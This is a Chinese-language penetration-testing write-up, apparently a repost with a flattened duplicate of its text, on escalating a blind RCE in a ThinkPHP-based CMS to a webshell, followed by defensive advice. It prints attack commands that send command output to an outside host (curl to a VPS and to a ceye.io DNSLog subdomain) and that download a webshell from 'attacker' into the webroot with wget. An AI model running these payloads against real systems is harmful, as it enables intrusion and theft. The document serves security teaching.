【实战】无回显Rce到Getshell
字数 1335 2025-08-20 18:18:40

无回显RCE到Getshell实战教学文档

1. 漏洞发现与初步分析

1.1 初始发现

  • 通过测试登录界面时修改参数触发Debug信息泄露
  • 从Debug信息中获取关键信息:
    • 系统使用ThinkPHP框架
    • 根目录路径:/www/wwwroot/devorder/public
    • 只能访问Public目录下的文件,无法直接访问runtime目录

1.2 版本识别

  • 在页面底部发现CMS版本号
  • 通过公开漏洞数据库查找该版本已知漏洞

2. RCE漏洞利用

2.1 漏洞确认

2.2 绕过限制

  • 直接执行命令的函数被禁用(disable_functions限制)
  • 部分执行命令函数会返回登录界面,执行状态未知

3. 无回显RCE验证技术

3.1 DNSLog技术

  • 使用在线DNSLog平台验证命令执行
  • 原理:通过让目标服务器向特定子域名发起请求来确认命令执行
  • 初始尝试ping命令失败(可能ICMP被拦截)
  • 改用curl请求子域名成功验证RCE存在

3.2 命令回显获取

  • 使用CEYE平台或自建VPS接收回显
  • 技术实现:
    curl http://VPS/`command`
    
    • 反引号包裹的命令会先执行,结果拼接到URL中
    • 示例:执行whoami后访问http://VPS/www,确认Web服务以www用户运行

4. Getshell技术

4.1 反弹Shell尝试

  • 尝试bash反弹Shell未成功(原因未明确)

4.2 文件写入方法

  • 尝试echo >>写入失败
  • 改用wget下载Webshell:
    wget http://attacker/shell.php -O /path/to/webroot/shell.php
    

4.3 路径确认

  • 通过Debug信息中的路径写入失败
  • 通过查找Web目录下的登录界面获取真实绝对路径
  • 最终成功通过wget下载Webshell到正确路径

5. 关键技术与工具

5.1 常用验证技术

  1. DNSLog验证

  2. VPS日志回显

    • 自建Web服务接收命令输出
    • 查看访问日志获取命令执行结果

5.2 常用Payload

  • 命令执行验证:
    curl http://dnslog.ceye.io/`whoami`
    
  • 文件下载:
    wget http://attacker/shell.php -P /target/path
    

6. 疑难问题与解决方案

  1. ICMP被拦截

    • 改用HTTP协议(curl)进行验证
  2. 路径不准确

    • 通过查找Web目录下的已知文件确认真实路径
    • 结合Debug信息和实际文件位置进行验证
  3. 写入权限问题

    • 尝试多种写入方法(echo、wget等)
    • 确保目标目录有写入权限

7. 防御建议

  1. 针对RCE漏洞

    • 及时更新框架和CMS版本
    • 禁用危险函数(disable_functions)
    • 严格过滤用户输入
  2. 针对信息泄露

    • 生产环境关闭Debug模式
    • 限制敏感目录访问
  3. 系统加固

    • 限制Web服务器权限
    • 监控异常出站请求(如DNSLog请求)
    • 设置文件上传和目录写入权限

8. 扩展学习

  1. ThinkPHP漏洞

    • 研究不同版本的已知漏洞
    • 了解变量覆盖等漏洞原理
  2. 无回显利用技术

    • 学习更多无回显利用方法(如时间盲注、OOB技术)
    • 掌握多种协议(DNS、HTTP、ICMP)在渗透测试中的应用
  3. 权限提升技术

    • 研究从www-data到更高权限的提权方法
    • 学习Linux系统服务漏洞利用
无回显RCE到Getshell实战教学文档 1. 漏洞发现与初步分析 1.1 初始发现 通过测试登录界面时修改参数触发Debug信息泄露 从Debug信息中获取关键信息: 系统使用ThinkPHP框架 根目录路径: /www/wwwroot/devorder/public 只能访问Public目录下的文件,无法直接访问runtime目录 1.2 版本识别 在页面底部发现CMS版本号 通过公开漏洞数据库查找该版本已知漏洞 2. RCE漏洞利用 2.1 漏洞确认 发现存在变量覆盖导致的RCE漏洞 参考漏洞分析: ThinkPHP变量覆盖RCE分析 2.2 绕过限制 直接执行命令的函数被禁用(disable_ functions限制) 部分执行命令函数会返回登录界面,执行状态未知 3. 无回显RCE验证技术 3.1 DNSLog技术 使用在线DNSLog平台验证命令执行 原理:通过让目标服务器向特定子域名发起请求来确认命令执行 初始尝试ping命令失败(可能ICMP被拦截) 改用curl请求子域名成功验证RCE存在 3.2 命令回显获取 使用CEYE平台或自建VPS接收回显 技术实现: 反引号包裹的命令会先执行,结果拼接到URL中 示例:执行 whoami 后访问 http://VPS/www ,确认Web服务以www用户运行 4. Getshell技术 4.1 反弹Shell尝试 尝试bash反弹Shell未成功(原因未明确) 4.2 文件写入方法 尝试 echo >> 写入失败 改用wget下载Webshell: 4.3 路径确认 通过Debug信息中的路径写入失败 通过查找Web目录下的登录界面获取真实绝对路径 最终成功通过wget下载Webshell到正确路径 5. 关键技术与工具 5.1 常用验证技术 DNSLog验证 : 适用于无回显场景 可验证RCE、SQL注入等漏洞 参考文章: DNSLog在渗透测试中的应用 VPS日志回显 : 自建Web服务接收命令输出 查看访问日志获取命令执行结果 5.2 常用Payload 命令执行验证: 文件下载: 6. 疑难问题与解决方案 ICMP被拦截 : 改用HTTP协议(curl)进行验证 路径不准确 : 通过查找Web目录下的已知文件确认真实路径 结合Debug信息和实际文件位置进行验证 写入权限问题 : 尝试多种写入方法(echo、wget等) 确保目标目录有写入权限 7. 防御建议 针对RCE漏洞 : 及时更新框架和CMS版本 禁用危险函数(disable_ functions) 严格过滤用户输入 针对信息泄露 : 生产环境关闭Debug模式 限制敏感目录访问 系统加固 : 限制Web服务器权限 监控异常出站请求(如DNSLog请求) 设置文件上传和目录写入权限 8. 扩展学习 ThinkPHP漏洞 : 研究不同版本的已知漏洞 了解变量覆盖等漏洞原理 无回显利用技术 : 学习更多无回显利用方法(如时间盲注、OOB技术) 掌握多种协议(DNS、HTTP、ICMP)在渗透测试中的应用 权限提升技术 : 研究从www-data到更高权限的提权方法 学习Linux系统服务漏洞利用